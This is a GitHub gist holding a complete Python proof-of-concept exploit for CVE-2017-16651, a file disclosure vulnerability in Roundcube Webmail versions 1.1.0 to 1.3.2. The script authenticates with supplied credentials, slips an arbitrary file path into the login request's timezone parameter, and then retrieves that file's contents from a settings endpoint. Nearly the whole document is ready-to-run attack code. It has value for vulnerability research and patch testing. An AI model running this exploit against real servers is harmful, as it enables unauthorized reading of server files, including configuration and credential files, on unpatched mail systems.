Created
January 9, 2021 16:25
-
-
Save klezVirus/e2a11e294c34a8e78a102c592abc9e7b to your computer and use it in GitHub Desktop.
CVE-2017-16651 - Roundcube Webmail File Disclosure Vulnerability - Exploit POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# ------------------------------------------------------------------------------------------------------------------- | |
# Exploit Author: d3adc0de | |
# Software: https://roundcube.net/ | |
# Versions: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2 | |
# CVE: CVE-2017-16651 | |
# Credits: Thomas Bruederli (Discoverer) | |
# Release date: 2017-11-09 | |
# Vulnerability Description: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1 | |
# ------------------------------------------------------------------------------------------------------------------- | |
import re | |
import requests | |
import sys | |
import argparse | |
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
class Exploit: | |
def __init__(self, target=None, user=None, password=None, path=None, proxy=False): | |
self.__headers = {"Content-Type": "application/x-www-form-urlencoded"} | |
self.__url = target if target[:-1] == "/" else f"{target}/" | |
self.__file_to_disclose = path | |
self.__compose_id = None | |
self.__request_token = None | |
self.__cookie = None | |
self.__username = user | |
self.__password = password | |
if proxy: | |
print("[*] Using Burp Proxy") | |
self.__proxy = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} if proxy else None | |
def __auth(self): | |
data = requests.get(self.__url, verify=False, proxies=self.__proxy) | |
match = re.search('"request_token":"([^"]+)"', data.text) | |
self.__request_token = match.group(0).split(":")[1].replace("\"", "") | |
self.__cookie = dict(roundcube_sessid=data.cookies["roundcube_sessid"]) | |
def __login(self): | |
payload = f"_token={self.__request_token}" \ | |
f"&_task=login&_action=login&_timezone[files][1][path]=" \ | |
f"{self.__file_to_disclose}&_dstactive=1&_url=&_user=" \ | |
f"{self.__username}&_pass={self.__password}" | |
data = requests.post(f"{self.__url}?_task=login", | |
headers=self.__headers, | |
cookies=self.__cookie, | |
data=payload, | |
allow_redirects=False, | |
verify=False, | |
proxies=self.__proxy | |
) | |
if data.status_code == 302: | |
self.__cookie = data.cookies | |
location = data.headers['Location'] | |
ls = location.split("token=") | |
if len(ls) > 1: | |
self.__request_token = ls[1] | |
else: | |
self.__request_token = "" | |
print("[-] No CSRF Token found in Header. Fetching from next page...") | |
try: | |
data = requests.get(f"{self.__url}{location}", | |
cookies=self.__cookie, | |
verify=False, | |
proxies=self.__proxy | |
) | |
match = re.search('"request_token":"([^"]+)"', data.text) | |
self.__request_token = match.group(0).split(":")[1].replace("\"", "") | |
except: | |
self.__request_token = "" | |
if self.__request_token == "": | |
print("[-] No CSRF Token found. Aborting.") | |
sys.exit(1) | |
def __disclose(self): | |
data = requests.get(f"{self.__url}?_task=settings&_action=upload-display&_from=timezone&_file=rcmfile1", | |
cookies=self.__cookie, allow_redirects=False, verify=False, proxies=self.__proxy) | |
if data.status_code == 200: | |
print("[+] Content Leaked:") | |
print(f"{data.text}") | |
def run(self): | |
self.__auth() | |
self.__login() | |
self.__disclose() | |
def main(): | |
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |
parser = argparse.ArgumentParser() | |
parser.add_argument('-t', '--target', required=True, type=str, help="The target URL") | |
parser.add_argument('-u', '--user', required=True, type=str, help="Roundcube User") | |
parser.add_argument('-p', '--pwd', required=True, type=str, help="Roundcube User Password") | |
parser.add_argument('-P', '--path', required=True, type=str, default=None, | |
help="Absolute Path of the file to disclose") | |
parser.add_argument('-x', '--proxy', required=False, action='store_true', default=False, help="Use http Proxy") | |
args = parser.parse_args() | |
print("[+] CVE-2017-16651 exploit by d3adc0de") | |
print("[+] Exploiting " + args.target) | |
exploit = Exploit(target=args.target, user=args.user, | |
password=args.pwd, path=args.path, proxy=args.proxy) | |
exploit.run() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment